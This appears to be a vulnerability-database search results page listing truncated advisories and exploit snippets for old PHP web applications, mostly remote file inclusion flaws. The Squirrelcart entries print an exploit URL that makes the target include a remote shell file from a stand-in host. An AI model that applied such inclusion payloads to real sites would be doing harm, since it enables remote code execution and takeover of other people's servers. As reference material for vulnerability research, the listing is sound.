756 matches found
EHCP 0.22.8 - Multiple Remote File Inclusions
--------------------------------------------------------------- / | |\ \ / | / |/ | | |/ \ | | | |||| /| / / --------------------------------------------------------------- Http://www.inj3ct-it.org Staffatinj3ct-itdotorg --------------------------------------------------------------- Multiple...
runcms-lfi.txt
WwW.BugReport.ir AmnPardaz Security Research & Penetration Testing Group Title: RunCms Multiple Vulnerabilities Vendor: http://www.runcms.org/ Bugs: Local File Inclusion, Modules Authorization Weakness Vulnerable Version: RunCMS 1.6 Halloween, 1.5.x prior versions also may be affected Exploitatio...
meBiblio-xss.txt
meBiblio 0.4.5 XSS --------------------- Author : ShAy6oOoN --------------------- Group : PitBull Crew --------------------- Script : meBiblio 0.4.5 --------------------- Download : http://downloads.sourceforge.net/mebiblio/meBiblio-0.4.5.tar.gz?modtime=1195237984&bigmirror=0 --------------------...
two bytehoard 2.1 bugs
Application: Bytehoard Versions: 2.1 alpha to epsilon Release Date: 2007-11-26 Author: Ernesto Alvarez / Activesec SA Kudos to: Rodrigo Seguel / Activesec SA for suggesting the session destruction approach Contact info: ealvarez at activesec biz Developer response: None. No response to mail, foru...
PHP-Nuke Platinum 7.6.b.5 Remote File Inclusion Vulnerability
No description provided by source. ---------------------------------------------- GrEeTs To -=sHaDoW sEcUrItY TeAm=- GrEaTs To ---------------------------------------------- A2J, Chucks, The Pitbull, ICQBomber, str0ke ---------------------------------------------- BiG sHoUt OuT tO udplink.net &...
PHP-Nuke Platinum 7.6.b.5 Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications ============================================================= PHP-Nuke Platinum 7.6.b.5 Remote File Inclusion Vulnerability ============================================================= ----------------------------------------------...
NuSEO PHP Enterprise 1.6 Remote File Inclusion Vulnerability
No description provided by source. Vulnerability Type: Remote File Inclusion Vulnerable file: /NuSEO PHP Enterprise.v1.6 Nulled by DGT/NuSEO.PHP.Enterprise.v1.6.PHP.NULL-DGT/nuseo/admin/nuseoadmind.php Exploit URL:...
NuSEO PHP Enterprise 1.6 Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications ============================================================ NuSEO PHP Enterprise 1.6 Remote File Inclusion Vulnerability ============================================================ Vulnerability Type: Remote File Inclusion Vulnerable fil...
PT-2007-6213 · Frontaccounting · Frontaccounting
Name of the Vulnerable Software and Affected Versions: FrontAccounting version 1.13 Description: The issue allows remote attackers to execute arbitrary PHP code via a URL in the path to root parameter to specific PHP files, such as "access/login.php" and "includes/lang/language.php", when registe...
Chupix CMS 0.2.3 (repertoire) Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications ================================================================= Chupix CMS 0.2.3 repertoire Remote File Inclusion Vulnerability ================================================================= chupix 0.2.3 /admin/include/header.php RFI...
squirrelcart-rfi.txt
Title : Squirrelcart config.php, line 13 - $siteisproot = "blablabla"; Exploit : squirrelcart//popupwindow.php?siteisproot=http://example.com/shell.txt? notes : registerglobals = off is needed it seems...
Squirrelcart <= 1.x.x (cart.php) Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications ==================================================================== Squirrelcart config.php, line 13 - $siteisproot = "blablabla"; Exploit : squirrelcart//popupwindow.php?siteisproot=http://example.com/shell.txt? notes : registerglobals =...
Remote file inclusion
PHP remote file inclusion vulnerability in data/inc/theme.php in Pluck 4.3, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the dir parameter. NOTE: A reliable third party disputes this vulnerability because the applicable include is within a...
PT-2007-5375 · Pluck · Pluck
Name of the Vulnerable Software and Affected Versions: Pluck version 4.3 Description: The issue allows remote attackers to potentially read arbitrary local files via a .. dot dot in the file parameter in the data/inc/theme.php file when register globals is enabled. However, it's noted that the co...
PT-2007-5376 · Pluck · Pluck
Name of the Vulnerable Software and Affected Versions: Pluck version 4.3 Description: The issue allows remote attackers to execute arbitrary PHP code via a URL in the dir parameter when register globals is enabled. However, a reliable third party disputes this vulnerability, stating that the...
PT-2007-5329 · Rig · Ralf Image Gallery
Name of the Vulnerable Software and Affected Versions: Ralf Image Gallery RIG version 1.0 Description: A remote file inclusion issue exists, allowing remote attackers to execute arbitrary PHP code via a URL in the dir abs src parameter in the check entry.php file. However, it is reported that the...
codeigniter-multi.txt
CodeIgniter is a powerful PHP framework with a very small footprint, built for PHP coders who need a simple and elegant toolkit to create full-featured web applications. http://www.codeigniter.com 1. sanitizeglobals global variables unsetting By setting e.g. "SERVER=anonymous" cookie in the...
CVE-2007-3297
Multiple PHP remote file inclusion vulnerabilities in Musoo 0.21 allow remote attackers to execute arbitrary PHP code via a URL in the GLOBALSiniarrayEXTLIBPATH parameter to 1 msDb.php, 2 modules/MusooTemplateLite.php, or 3 modules/SoundImporter.php...
Madirish Webmail 2.0 - addressbook.php Remote File Inclusion
Madirish Webmail 2.0 - addressbook.php Remote File Inclusion Madirish Webmail v2.0 Remote File Include Vulnerabilities Author : BoZKuRTSeRDaR Contact MSN:[email protected] My Homepage :WwW.Turkmilliyetcileri.OrG script Download : http://sourceforge.net/projects/madirishwebmail code:...
TutorialCMS <= 1.01 Authentication Bypass Vulnerability
No description provided by source. TutorialCMS = 1.01 Authentication Bypass Discovered by: Silentz Payload: Authentication Bypass Website: http://www.w4ck1ng.com Vulnerability: Variables $loggedIn & $activated are not predefined. Vulnerable Files: login.php headerLinks.php submit1.php myFav.php...